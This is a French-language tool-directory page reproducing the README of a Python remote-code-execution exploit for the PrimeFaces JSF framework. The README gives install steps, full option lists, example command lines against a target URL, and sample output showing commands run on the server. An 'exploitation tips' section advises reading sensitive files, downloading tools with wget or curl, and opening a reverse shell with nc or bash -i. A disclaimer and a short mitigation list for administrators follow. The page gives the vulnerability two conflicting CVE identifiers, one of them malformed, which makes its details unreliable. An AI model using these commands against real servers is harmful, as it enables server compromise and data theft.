Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2017-1000486 — Exploit basé sur Python pour CVE-2020-1039909, une vulnérabilité d'exécution de code à distance dans Primefaces JSF. Exécute des commandes arbitraires via une attaque par oracle de bourrage, avec des options pour le proxy, les cookies et le mode POC. | Kitploit
Outils/GitHubGitHub/byt3l0rd/cve-2017-1000486
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCryptographieTests d'IntrusionRed Teaming
GitHubbyt3l0rd/cve-2017-1000486

CVE-2017-1000486

Exploit basé sur Python pour CVE-2020-1039909, une vulnérabilité d'exécution de code à distance dans Primefaces JSF. Exécute des commandes arbitraires via une attaque par oracle de bourrage, avec des options pour le proxy, les cookies et le mode POC.

Voir le dépôt
il y a 11h 18mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

README - CVE-2020-1039909 Primefaces Remote Code Execution

============================================================

À PROPOS DE LA VULNÉRABILITÉ

CVE-2020-1039909 est une vulnérabilité d'exécution de code à distance (RCE) dans le framework Primefaces JSF. La faille permet à un attaquant d'exécuter des commandes arbitraires sur le serveur via une attaque de type Padding Oracle, en raison de l'utilisation d'un chiffrement faible et d'un mot de passe par défaut.

Versions affectées :

  • Primefaces antérieures à 5.2.21
  • Primefaces 5.3.x antérieures à 5.3.8
  • Primefaces 6.x antérieures à 6.0

Impact :

  • Exécution de code à distance (RCE)
  • Compromission totale du serveur
  • Accès au système d'exploitation
  • Installation possible de backdoors

============================================================

PRÉ-REQUIS

  • Cible exécutant Primefaces vulnérable
  • Python 3.6+
  • Bibliothèques : requests, pycryptodome, paddingoracle

Installation des dépendances :

pip install requests pycryptodome paddingoracle

============================================================

COMMANDES DISPONIBLES

Paramètres de base :

target URL de la cible (ex : http://target.com) -pw, --password Mot de passe Primefaces (défaut : primefaces) -pt, --path Chemin vers dynamiccontent.properties (défaut : /javax.faces.resource/dynamiccontent.properties.xhtml) -c, --cmd Commande à exécuter (défaut : whoami) -poc, --poc Utiliser un payload de test (vérifie uniquement la vulnérabilité) -px, --proxy Configurer un proxy (ex : http://127.0.0.1:8080) -ck, --cookie Configurer un cookie -o, --oracle Activer l'attaque Padding Oracle (1 = activé, 0 = désactivé) (DÉFAUT : 0) (LENT) -pl, --payload Payload EL chiffré (à utiliser avec Padding Oracle)

============================================================

EXEMPLES D'UTILISATION

  1. Exécuter une commande de base (whoami)

python3 exploit.py

http://target.com
  1. Exécuter une commande spécifique

python3 exploit.py http://target.com -c "id"

  1. Vérifier si la cible est vulnérable (mode POC)

python3 exploit.py http://target.com --poc

  1. Utiliser un proxy (Burp Suite)

python3 exploit.py http://target.com -px http://127.0.0.1:8080

  1. Utiliser avec un cookie

python3 exploit.py http://target.com -ck "JSESSIONID=xxx"

  1. Utiliser Padding Oracle (plus lent, mais plus efficace)

python3 exploit.py http://target.com -o 1 -c "whoami"

  1. Utiliser un payload généré précédemment

python3 exploit.py http://target.com -pl "payload_chiffré"

============================================================

EXEMPLE DE SORTIE

$ python3 exploit.py http://target.com -c "id"

[] Generated Encrypted Payload: xyz123... [] Attempting to execute: id

POST /javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1 ...

HTTP/1.1 200 OK ...

[+] Exploit Result:

HTTP/1.1 200 OK ...

uid=33(www-data) gid=33(www-data) groups=33(www-data)

============================================================

MODE POC (TEST DE VULNÉRABILITÉ)

Le mode POC vérifie uniquement si la cible est vulnérable sans exécuter de commandes dangereuses :

python3 exploit.py http://target.com --poc

Sortie attendue si vulnérable :

[+] BANG!!! :D - Target IS VULNERABLE!!!

Sortie si non vulnérable :

[-] Target Probably NOT VULNERABLE :-(

============================================================

PADDING ORACLE (MODE LENT)

Si l'attaque par défaut ne fonctionne pas (corps de réponse vide), essayez le mode Padding Oracle. Ce mode est plus lent mais plus efficace :

python3 exploit.py http://target.com -o 1 -c "whoami"

============================================================

PROXY ET DEBUG

Pour analyser les requêtes avec Burp Suite :

python3 exploit.py http://target.com -px http://127.0.0.1:8080

============================================================

ERREURS COURANTES ET SOLUTIONS

"Response body empty... Target might not be vulnerable" Essayez le mode Padding Oracle : -o 1

"Target Probably NOT VULNERABLE" La cible peut être patchée ou n'utilise pas le mot de passe par défaut

"Connection refused" Vérifiez que la cible est accessible

"SSL Error" Utilisez http au lieu de https ou ignorez les certificats

============================================================

CONSEILS POUR L'EXPLOITATION

  • Testez plusieurs commandes pour explorer le système
  • Utilisez whoami pour identifier l'utilisateur actuel
  • Utilisez id pour voir les permissions
  • Utilisez ls pour lister les fichiers
  • Utilisez cat pour lire les fichiers sensibles
  • Utilisez wget ou curl pour télécharger des outils supplémentaires
  • Utilisez nc ou bash -i pour obtenir un shell inversé

============================================================

AVERTISSEMENT

Ce logiciel est fourni à des fins éducatives et de test. L'auteur n'est pas responsable des dommages, pertes ou conséquences découlant d'une mauvaise utilisation de cet outil.

L'utilisateur est le seul responsable de ses actions. L'utilisation de cet exploit sur des systèmes sans autorisation est illégale et peut entraîner des sanctions civiles et pénales.

Utilisez-le avec responsabilité et éthique. Le savoir est fait pour être partagé, mais la sagesse réside dans la manière et le moment de l'utiliser.

============================================================

MITIGATION (POUR ADMINISTRATEURS)

  1. Mettez à jour Primefaces vers la version la plus récente
  2. Modifiez le mot de passe par défaut de Primefaces
  3. Utilisez HTTPS pour chiffrer les communications
  4. Implémentez un WAF pour bloquer les payloads malveillants
  5. Désactivez la fonctionnalité dynamiccontent.properties si elle n'est pas nécessaire

============================================================

RÉFÉRENCES

  • CVE-2020-1039909 : https://nvd.nist.gov/vuln/detail/CVE-2020-1039909
  • Primefaces Security Advisory
  • Padding Oracle Attack (CVE-2017-1000486)

============================================================

Developed by byt3l0rd

Télécharger l’outil